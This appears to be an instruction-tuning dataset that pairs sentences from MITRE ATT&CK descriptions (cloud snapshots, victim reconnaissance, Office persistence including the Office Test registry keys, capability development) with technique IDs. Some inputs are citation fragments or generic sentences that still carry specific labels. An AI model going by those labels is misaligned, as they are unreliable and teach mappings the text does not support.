"Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020) ### Response: T1578."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may create a snapshot or data backup within a cloud account to evade defenses.", "output": "T1578.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may create a snapshot or data backup within a cloud account to evade defenses. ### Response: T1578.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume.", "output": "T1578.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. ### Response: T1578.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.", "output": "T1578.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. ### Response: T1578.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)", "output": "T1578.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020) ### Response: T1578.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's organization that can be used during targeting.", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's organization that can be used during targeting. ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search)", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather the victim's physical location(s) that can be used during targeting.", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather the victim's physical location(s) that can be used during targeting. ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed.", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search)", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", "output": "T1591.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). ### Response: T1591.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage Microsoft Office-based applications for persistence between startups.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage Microsoft Office-based applications for persistence between startups. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SensePost Ruler GitHub)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SensePost Ruler GitHub) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These persistence mechanisms can work within Outlook or be used through Office 365.(Citation:", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet O365 Outlook Rules)", "output": "T1137", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet O365 Outlook Rules) ### Response: T1137."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system.", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started.", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications.", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy) ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There exist user and global Registry keys for the Office Test feature:", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There exist user and global Registry keys for the Office Test feature: ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", "output": "T1137.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started. ### Response: T1137.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create self-signed code signing certificates that can be used during targeting.", "output": "T1587.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create self-signed code signing certificates that can be used during targeting. ### Response: T1587.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted.", "output": "T1587.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. ### Response: T1587.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.", "output": "T1587.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. ### Response: T1587.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.", "output": "T1587.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations. ### Response: T1587.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting.", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SSL/TLS certificates are designed to instill trust.", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SSL/TLS certificates are designed to instill trust. ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct.", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", "output": "T1587.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. ### Response: T1587.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may develop exploits that can be used during targeting.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may develop exploits that can be used during targeting. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet)", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation:", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Irongeek Sims BSides 2017)", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Irongeek Sims BSides 2017) ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with legitimate development efforts, different skill sets may be required for developing exploits.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with legitimate development efforts, different skill sets may be required for developing exploits. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The skills needed may be located in-house, or may need to be contracted out.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The skills needed may be located in-house, or may need to be contracted out. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit. ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190),", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068),", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).", "output": "T1587.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). ### Response: T1587.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may develop malware and malware components that can be used during targeting.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may develop malware and malware components that can be used during targeting. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with legitimate development efforts, different skill sets may be required for developing malware.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with legitimate development efforts, different skill sets may be required for developing malware. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The skills needed may be located in-house, or may need to be contracted out.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The skills needed may be located in-house, or may need to be contracted out. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure.", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29)", "output": "T1587.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, malware developed that will communicate with Twitter for C2, may require use of [Web Services](https://attack.mitre.org/techniques/T1583/006).(Citation: FireEye APT29) ### Response: T1587.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may build capabilities that can be used during targeting.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may build capabilities that can be used during targeting. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates.", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. ### Response: T1587."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation:", "output": "T1587", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### 